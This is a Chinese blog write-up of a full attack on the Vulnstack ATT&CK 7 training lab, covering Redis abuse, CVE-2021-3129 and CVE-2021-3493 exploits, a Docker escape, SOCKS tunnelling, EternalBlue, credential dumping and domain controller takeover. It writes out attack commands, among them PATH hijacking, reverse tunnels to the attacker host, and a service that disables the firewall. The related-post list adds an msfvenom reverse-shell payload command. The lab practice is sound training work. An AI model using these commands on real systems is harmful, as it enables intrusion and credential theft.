Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估（七）)

已于 2022-10-16 08:56:47 修改
阅读量6.3k 收藏 12
点赞数 4
分类专栏： Vulnstack内网渗透 文章标签： 网络安全 安全 系统安全 web安全 linux
于 2022-04-18 14:55:50 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44830645/article/details/124247090
版权

这么久没打vulnhub全是因为在吃这一套内网靶场(绝对没有在摸鱼 )，现在把我的思路写下来

前言

这是Vulnstack里的一套靶场，ATT&CK实战系列-红队评估（七）
这是靶场的链接：http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

网络环境

整个靶场环境一共五个靶机（总共27.8 GB），分别位于三层网络环境中：
在这里插入图片描述
DMZ区IP段为192.168.1.1/24
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24

靶机环境的配置

靶场中各个主机都运行着相应的服务并且没有自启功能，如果你关闭了靶机，再次启动时还需要在相应的主机上启动靶机服务：
DMZ区的 Ubuntu 需要启动nginx服务：
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器：
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 （PC 1）需要启动通达OA：
C:\MYOA\bin\AutoConfig.exe

注意事项

开全部靶机，16G是最低配置，内存不够可以分开渗透
参考了两位大佬的博客：官方writeup与这一篇

外网渗透

信息收集

第一步肯定是我们熟悉的信息收集啦
先拿到靶机的IP，然后进行namp扫描
在这里插入图片描述
在这里插入图片描述
访问一下80和81端口
80端口
在这里插入图片描述
404页面，我们再访问81端口
81端口
在这里插入图片描述
是Laravel框架搭建的，版本为8.29.0
我们百度一下这个框架的漏洞，发现有一个远程代码执行漏洞
在这里插入图片描述

Redis未授权访问

我们尝试一下redis未授权访问
在这里插入图片描述
发现是存在这个漏洞的，这就好办了，我们创建一个ssh密钥，然后上传上去，就可以直接ssh连接到靶机了
在这里插入图片描述
在这里插入图片描述
这里添加换行符是为了跟redies本身的缓存分开来
在这里插入图片描述
然后我们直接上传即可
在这里插入图片描述
然后我们登录进去，设置一下保存的路径跟文件名然后保存即可在这里插入图片描述
在这里插入图片描述
成功获取到了root权限
我们先把它的shell反弹到msf先
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功上线，我们再拿一下另外一台靶机的shell

Laravel Debug模式 RCE漏洞（CVE-2021-3129）

我们去github把exp下载下来
Github地址：https://github.com/zhzyker/CVE-2021-3129
下载下来后我们测试一下
在这里插入图片描述
成功运行，我们修改一下exp的源码，把id改成写入一句话木马
在这里插入图片描述
再运行一下之后直接用蚁剑连接即可
在这里插入图片描述
在这里插入图片描述
我们使用蚁剑的虚拟终端，反弹一下shell到kali上
在这里插入图片描述
在这里插入图片描述
成功反弹了shell，但是反弹过来的shell的主机名很奇怪，猜测应该是在docker容器里面
在这里插入图片描述
先不管那么多，先看看有没有什么可以提权的东西
在这里插入图片描述
发现用户jobs下面有个可执行文件，我们去看看
在这里插入图片描述
发现执行了ps这个命令，这就好办了，我们创建一个虚假的ps，然后改一下PATH，就可以得到root权限了
在这里插入图片描述

echo '/bin/bash' > /tmp/ps
chmod 777 /tmp/ps
export PATH=/tmp:$PATH
echo $PATH

修改好之后，我们重新运行一下shell文件
在这里插入图片描述
成功获取到了root权限，我们现在可以考虑一下docker逃逸了

Docker特权模式逃逸

我们使用fdisk -l查看一下磁盘文件
在这里插入图片描述
发现有/dev/sda1，我们创建一个文件夹，然后把这个文件挂载到我们创建的文件夹下
在这里插入图片描述
挂载成功，我们看一下有没有用户
在这里插入图片描述
发现存在一下名为ubuntu的用户，这样就好办了，我们创建一个公钥把它添加到靶机的私钥里，就可以直接使用ssh登录了
在这里插入图片描述
在这里插入图片描述

ubuntu:
ssh-keygen -f hello
cat hello.pub
靶机：
cd /hack/home/ubuntu/.ssh
echo 'cat hellow.pub得到的东西' > authorized_keys

在这里插入图片描述
成功登录，但是我们并不是root权限，我们查看一下靶机的内核，看看有没有漏洞
在这里插入图片描述
发现有个叫cve-2021-3493的漏洞，刚好包含了这个版本

Linux kernel特权提升漏洞（CVE-2021-3493）

我们先把exp复制进靶机
Github地址：https://github.com/briskets/CVE-2021-3493
编译下，然后运行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功获取到root权限，我们也把它的shell反弹到msf
在这里插入图片描述
在这里插入图片描述
解下来，我们使用DMZ区域的ubuntu添加一个通往52网段的路由
在这里插入图片描述
然后我们扫描一下这个网段还有没有开放的靶机
在这里插入图片描述
在这里插入图片描述
还有一台30存活，但是我们的nmap在攻击机上，这个添加的路由之支持msf里面的工具，所以我们还需要搭建一个代理
我们使用ew工具搭建一个代理

内网渗透

我们先把工具上传到靶机
在这里插入图片描述
然后在本地使用如下命令开始监听
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
意思是把1080端口的请求转发到8888端口
然后在目标机器上输入

./ew_for_linux64 -s rssocks -d 192.168.2.18 -e 8888

在这里插入图片描述
之后就连接成功了，我们还需要配置一下proxy的代理
在这里插入图片描述
在这里插入图片描述
这样只要在想使用的命令前加上proxychains4就可以让他走这个代理了
我们使用这个方法，nmap扫描一下刚刚发现的30靶机

proxychains4 nmap -Pn -sT -sV 192.168.52.30

在这里插入图片描述
发现开放了一个网页，端口为8080，我们访问看看，注意，火狐也要配置代理
在这里插入图片描述
配置好后我们访问
在这里插入图片描述
发现是一个通达OA的办公系统
查了一下发现是存在一个任意用户登录，文件上传漏洞的，我们可以尝试上传一个webshell

关于通达OA漏洞更详细的讲解：https://blog.csdn.net/szgyunyun/article/details/107104288

按照教程的方法，我们尝试上传一个webshell
在这里插入图片描述
上传成功，我们看看能不能利用
在这里插入图片描述
利用成功了，并且权限是最高的为system
然后就是反弹一个shell到msf了
在这里插入图片描述
把这一串powershell命令放到burp执行
在这里插入图片描述
在这里插入图片描述
成功反弹了shell

拿下域控

我们查看一下他的域信息
在这里插入图片描述
发现有一个whoamianony域
我们使用kiwi模块尝试抓一下密码
在这里插入图片描述
报错了，说要64位进程才可以运行，我们随便找一个64位进程迁移一下即可
在这里插入图片描述
在这里插入图片描述
抓到了域控的账号密码
在这里插入图片描述
还有一个bunny的账号密码

第三层网络渗透

已经拿下了第二层所有的靶机，只剩下最后两个第三层的主机，我们使用之前的sessions添加一个通往93网段的路由
在这里插入图片描述
我们扫描一下，看看有什么靶机存活
在这里插入图片描述
有93.20，93.30和93.40，其中20已经被我们拿下了，只剩下30跟40了，我们重新搭建一个代理，这次代理要带我们进入93网段，得用其中一台机子当踏板
我们把ew上传到93.20这台机子
在这里插入图片描述
我们现在攻击机执行如下命令

./ew_for_linux64 -s lcx_listen -l 1090 -e 9998

然后在93.20这台机子上执行，建立正向socks代理

ew_for_Win.exe -s ssocksd -l 999

然后在我们最开始拿到的DMZ区域的ubuntu上执行，将攻击机的9998端口跟93.20机的999端口连起来

./ew_for_linux64 -s lcx_slave -d 192.168.2.18 -e 9998 -f 192.168.52.30 -g 999

在这里插入图片描述
成功连接，我们再修改一下配置文件
在这里插入图片描述
在这里插入图片描述
windows嘛，懂得都懂，我们首先使用永恒之蓝打一下40这台机子
先给msf设置一下代理
在这里插入图片描述

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
exploit

在这里插入图片描述
芜湖！成功得到shell，但当我在打这个字的时候，他就直接断掉了…
由于某种原因，我们重新打一遍
在这里插入图片描述
获取到了四台靶机的shell了，只剩下一个DC域控了
还记得我们之前抓到的域控密码吗，我们使用尝试登录一下域控
在这里插入图片描述
在这里插入图片描述
利用成功了，但是并没有反弹shell回来，有可能是防火墙拦截了，我们使用20这台机子登录到域控，把防火墙关闭即可
首先登录一下

net use \192.168.93.30\ipc$ “Whoami2021” /user:“Administrator”

在这里插入图片描述
添加一个关闭防火墙的服务，然后在运行一下我们创建的服务即可

sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \192.168.93.30 start unablefirewall

然后我们重新利用一下漏洞
在这里插入图片描述
成功获取到了shell，至此，五台靶机的shell，都已经拿到了

Starry`Quan
关注
  • 4
    点赞
  • 踩
  • 12
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
专栏目录
Vulnstack----1、ATT&CK红队评估实战靶场一
七天
08-01 1252
3、敏感目录：http://192.168.144.132/phpMyadmin。4、发现yxcms:http://192.168.144.132/yxcms。192.168.52.143:存在MS17-010。192.168.52.138:存在MS17-010。域用户：dev1、root-tvi862ubeh。win7内网ip：192.168.52.143。1、ip地址：192.168.144.132。内网ip地址：192.168.52.143。内网网段：192.168.52.0/24。
Vulnstack红日安全内网域渗透靶场1实战
热门推荐
道阻且长，行则将至。
07-14 1万+
文章目录前言靶场搭建外网打点MySQL写日志GetshellCMS后台上传GetShell内网渗透靶机CS后门上线内网域信息的收集 前言 VulnStack 是由红日安全团队倾力打造一个靶场知识平台。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。 靶场搭建 在线 靶场链接 如下： 1、下载后为 3 个虚拟机，网络拓扑如下： 2、从网络拓扑图得知，需要模拟内网和外网两个网段， Win7 虚拟机相当于网关服务器，所以需要两张网卡，故需要配置两个网络适配器（网卡），点击
红日靶场（七）vulnstack7
最新发布
ZL_1618的博客
05-31 587
从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。干货主要有：①1000+CTF历届题库（主流和经典的应该都有了）②CTF技术文档（最全中文版）③项目源码（四五十个有趣且经典的练手项目及源码）
VulnStack实战（一）超级实战
weixin_51198941的博客
07-14 834
查看了一下，把敏感信息收集起来，比如网站根目录，开启的什么敏感文件，然后我们往下边翻的时候，发现有一个登录框，用常见的弱口令试了一下，发现root，root能登录。当前域名为god，登录用户是administrator，且存在两个网卡，分别是192.168.22.133(外网)和192.168.52.143（内网）net config Workstation 当前计算机名，全名，用户名，系统版本，工作站域，登陆域。共有三台机器，Win7是对外的web机，Win2003和Win2008（DC）是内网机器。
复现红日安全-ATT& CK实战：Vulnstack靶场实战（一）
weixin_51152373的博客
06-14 1017
内网实战环境配置所有主机密码为：hongrisec@2019密码同一修改为：hongrisec@2021攻击机名称： win 10 | kali 2020vm1名称： win 7ip: 外网：192.168.154.0内网：192.168.52.143vm2名称： win 2003vm3名称： win 2008（域控）网络配置Win7服务开启。
【红日靶场系列】ATT&CK红队评估7
weixin_45632448的博客
10-16 2108
cd到/home/jobs目录下，运行一下这个文件，可以看到shell文件执行了ps命令，并且未使用绝对路径，所以我们可以尝试更改$PATH来执行我们的恶意程序，从而获得目标主机的高权限shell。有Ubuntu这个用户，就可以把我们自己生成的SSH密钥写入到/test/home/ubuntu/.ssh目录中的authorized_keys文件中，写入成功之后就可以使用该密钥进行登陆该机器。这样，第二层网络中的所有主机皆可以上网，但是位于第三层网络中的所有主机都不与外网相连通，不能上网。
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
05-27
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) ...
ATT&CK手册(修改版)
09-16
8. **企业应用**：企业可以利用ATT&CK框架评估自身安全态势，进行风险分析，并设计相应的防御措施。 9. **教育与培训**：对于网络安全专业人士，ATT&CK手册是宝贵的教育资源，可以帮助他们提高对攻击行为的理解，...
基于ATT&CK的安全能力评估与改进实践.pdf
08-08
入侵者模拟是一种自动化程度高、专业性强的安全能力评估解决方案。通过安全大脑赋能，它可全面评估客户安全设备的整体防护能力，包括网络侧流量检测设备，邮件过滤设备等，也包括终端侧的查杀和沙箱等设备；此外，...
vulnstack(红日)内网渗透靶场二: 免杀360拿下域控
xf555er的博客
05-30 2354
当针对内网主机使用MSF进行永恒之蓝漏洞攻击失败时，一个替代方案是首先利用frp实现内网穿透，然后再进行漏洞利用。这种方法可能会产生意想不到的效果。我原本计划通过Meterpreter的portfwd命令将域控的3389端口映射到kali本地端口，随后使用rdesktop进行远程登录。然而，这一计划并未成功，我推测这可能是因为域控做了某些限制，只允许10.10.10.0/24网段的主机进行远程登录。
内网渗透之Vulnstack4靶场的全方位打法
xf555er的博客
12-29 1552
MS14-068是一个著名的Windows Kerberos安全漏洞，允许攻击者篡改Kerberos票据，从而获取非法提权。这个漏洞特别影响Windows域控制器，能让攻击者伪造Kerberos票据，获取域内几乎任意账户的权限，包括域管理员权限。这使得攻击者可以在网络中随意访问和控制资源。
Vulnstack靶场实战（一）
weixin_46066840的博客
09-13 1517
红日安全实战：Vulnstack靶场实战（一）
ATT&CK靶场系列（七）
qq_1873822的博客
12-04 6946
一、环境配置 vlunstack是红日安全团队出品的一个实战环境，具体介绍请访问：http://vulnstack.qiyuanxuetang.net/vuln/detail/9/ DMZ区IP段为192.168.1.1/24 第二层网络环境IP段为192.168.52.1/24 第三层网络环境IP段为192.168.93.1/24 按着上面的图片把相关的ip段给配置就行 DMZ区域： 给Ubuntu (Web 1) 配置了两个网卡，一个可以对外提供服务；一个连接第二层网络。 第二层网络区域： 给U
记一次Vulnstack靶场内网渗透（五）
小王的储物间
07-25 460
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。同时每个成长路线对应的板块都有配套的视频提供：当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。
VulnStack域环境靶场渗透(一)
qq_43590351的博客
09-20 1371
红日靶场一 msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.31.229 LPORT=4444 -f exe -o msf1.exe 实验环境 web服务器 192.168.31.79192.168.52.143 域成员server2003 192.168.52.141 域控server2008 192.168.52.138 物理机 192.168.31.238 kali-vps 192.168.31.229
【内网渗透】vulnstack第二个靶场
m0_58236911的博客
04-29 468
本文为个人在练习红日安全vulnstack系列的第二个靶场时所写笔记，希望对大家能有所帮助，若有疑问，欢迎提出交流，敬请各位批评指正！进入C:\Oracle\Middleware\user_projects\domains\base_domain目录，也可以使用 CobaltStrike自带的提权插件，提权手段很多这里不举例。右击会话—jump—psexec64（PC为32位，需要使用psexec）模拟外网网段：192.168.111.0/24。权限维持有多种途径，这里采用的是黄金票据。
vulnstack内网靶场渗透测试
three_1996的博客
03-19 667
【代码】vulnstack内网靶场渗透测试。
ATT\\\\&CK红队评估实战靶场四
08-16
ATT&CK红队评估实战靶场四是一个实战训练场景，其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的红日靶场一类似，你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时，可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表，并使用routeadd命令添加相应的路由。此外，可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK红队评估（红日靶场四）](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK红队评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 6
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值